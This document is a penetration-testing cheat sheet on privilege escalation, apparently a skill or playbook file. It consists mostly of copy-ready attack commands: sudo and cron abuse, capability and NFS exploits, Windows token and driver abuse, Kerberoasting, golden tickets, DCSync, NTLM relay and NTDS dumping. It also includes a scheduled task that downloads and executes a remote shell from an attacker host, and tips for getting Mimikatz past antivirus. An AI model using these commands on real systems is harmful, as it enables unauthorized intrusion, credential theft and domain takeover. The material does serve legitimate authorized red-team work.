Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

• Initial low-privilege shell access on target system
• Kali Linux or penetration testing distribution
• Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
• Understanding of Windows/Linux privilege models
• For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

• Root or Administrator shell access
• Extracted credentials and hashes
• Persistent access mechanisms
• Domain compromise (for AD environments)

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Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

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Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

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Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. Golden Ticket

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

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Credential Harvesting

LLMNR Poisoning

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

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Quick Reference

| Technique | OS | Domain Required | Tool | |-----------|-----|-----------------|------| | Sudo Binary Abuse | Linux | No | GTFOBins | | Cron Job Exploit | Linux | No | Manual | | Capability Abuse | Linux | No | getcap | | NFS no_root_squash | Linux | No | mount | | Token Impersonation | Windows | No | SweetPotato | | Service Abuse | Windows | No | PowerUp | | Kerberoasting | Windows | Yes | Rubeus/Impacket | | AS-REP Roasting | Windows | Yes | Rubeus | | Golden Ticket | Windows | Yes | Mimikatz | | Pass-the-Ticket | Windows | Yes | Rubeus | | DCSync | Windows | Yes | Mimikatz | | LLMNR Poisoning | Windows | Yes | Responder |

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Constraints

Must:

• Have initial shell access before attempting escalation
• Verify target OS and environment before selecting technique
• Use appropriate tool for domain vs local escalation

Must Not:

• Attempt techniques on production systems without authorization
• Leave persistence mechanisms without client approval
• Ignore detection mechanisms (EDR, SIEM)

Should:

• Enumerate thoroughly before exploitation
• Document all successful escalation paths
• Clean up artifacts after engagement

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Examples

Example 1: Linux Sudo to Root

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

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Troubleshooting

| Issue | Solution | |-------|----------| | sudo -l requires password | Try other enumeration (SUID, cron, capabilities) | | Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz | | Kerberoasting returns no hashes | Check for service accounts with SPNs | | Token impersonation fails | Verify SeImpersonatePrivilege is present | | NFS mount fails | Check NFS version compatibility (vers=2,3,4) |

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Additional Resources

For detailed enumeration scripts, use:

• LinPEAS: Linux privilege escalation enumeration
• WinPEAS: Windows privilege escalation enumeration
• BloodHound: Active Directory attack path mapping
• GTFOBins: Unix binary exploitation reference